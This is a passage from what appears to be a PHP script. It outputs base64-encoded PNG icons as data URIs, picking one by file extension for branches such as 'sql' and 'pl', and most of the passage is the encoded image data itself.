OeAcBB3fCY4vCI9QwMEAHgmUbhn1pPAOAgHhv8QwB4pl74KesJABzEY4N/CADPNPPPUjectp4BwCHdcFrN/LOsZ2DACADv5LRa+WXrEQAcsvWYwHsA+IYA8NBm8S61cyetZwBwQDt3UpvFu6xnwAAB4KVAyyPvVKq89RAAhlLltTzyTkmB9RQYIAA81crdoeXRd1vPAGBoefTdauXusJ4BIwSAxzaKL9d66dXWMwAYWC+9WhvFl1vPgCGu+vDcysjblITj2l//HUmp9RwAfRdotfKLWiu/wXoIjHEGwHuB1spv1OLYh5UGFesxAPooDSpaHPuw1spvFM/7gwCAJKleeKHO7/+yNosvFQ8MQNYE2iy+VOf3f1n1wgutx8ARQZpm67RvtTpbktSw3jHMCt3va7zxX1TufEVB2rSeA2CX0qCkRv55Wiu/gZf+7l15ZmY6Uw+IXAOAJ2jnTmpx7MMK0obKnb9Suf1l5ePTitJFRclFBSl9BbgmDcqKw8OKg0PqRCfUKLxAjfyPKw3K1tPgKAIAl5UGZdULL3zCKcMgbYsLBgGXBEqDgvUIDBkCANeMBxoAGH5cBAgAgIcIAAAAPEQAAADgIQIAAAAPEQAAAHiIAAAAwEMEAAAAHiIAAADwEAEAAICHCAAAADxEAAAA4CECAAAADxEAAAB4iAAAAMBDBAAAAB7KYgAk1gMAAJmTuWNL5gJgZma6LWnDegcAIDM2to8tmZK5ANh23noAACAzMnlMIQAAALiyTB5TCAAAAK4sk8cUAgAAgCvL5DGFAAAA4MoyeUwhAAAAuLJMHlOyGgBflZRajwAADL1UW8eUzMlkAMzMTJ+XdJ/1DgDA0Ltv+5iSOZkMgG33WA8AAAy9zB5LshwAn7ceAAAYepk9lgRpmt2nyqvV2QclPcV6BwBgKD00MzN9i/WIfsnyGQApw6duAAB9l+ljSNYD4E+sBwAAhlamjyGZDoCZmelvSfqs9Q4AwND57PYxJLMyHQDb3iqpaz0CADA0uto6dmRa5gNgZmb6QUkfsd4BABgaH9k+dmRa5gNg269L2rQeAQBw3qa2jhmZ50UAzMxMz0v6besdAADn/fb2MSPzvAiAbb8l6WHrEQAAZz2srWOFF7wJgJmZ6Zqkl0iqWW8BADinJukl28cKL3gTAJI0MzP9PUmvkJRYbwEAOCOR9IrtY4Q3vAoASZqZmf6ipF+13gEAcMavbh8bvJLpzwK4kmp19o+0dTYAAOCvT8zMTL/SeoQF784APMqrJX3NegQAwMzXtHUs8JK3ATAzM92U9AJJH7feAgAYuI9LesH2scBL3j4F8GjV6uybJb1bHgcRAHgikfQrMzPT77UeYo0A2Fatzr5Y0h9LGrPeAgDoi5qkfz0zM/2n1kNcQAA8SrU6e1LSFySdsN4CAOip09p6nf/3rYe4glPej7L9g3G7pF8TbxgEAFlQ09Zj+u0c/B+LMwCXUa3OHpb0NkmvkZQ3ngMAuDYdSR+W9BszM9MXrce4iAC4imp19iZJ75L0MkmB8RwAwJWlkv6ntt7c55T1GJcRADtUrc7eLulnJN0l6aTxHADAY31f0uclfWpmZvo71mOGAQGwC9Xq7M2S7t7+c6e4lgIABi2R9A1J90i6Z2Zm+ofGe4YOAbBH29cKPFvSscf9Obr9z0nx1AEAXKtU0pKkC5LOP8mfe3luf2/+P5IXw+iJDDTQAAAAAElFTkSuQmCC"; } elseif ($ext == "sql") { echo "data:image/png;base64,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"; } elseif ($ext == "pl") { echo "data:image/png;base64,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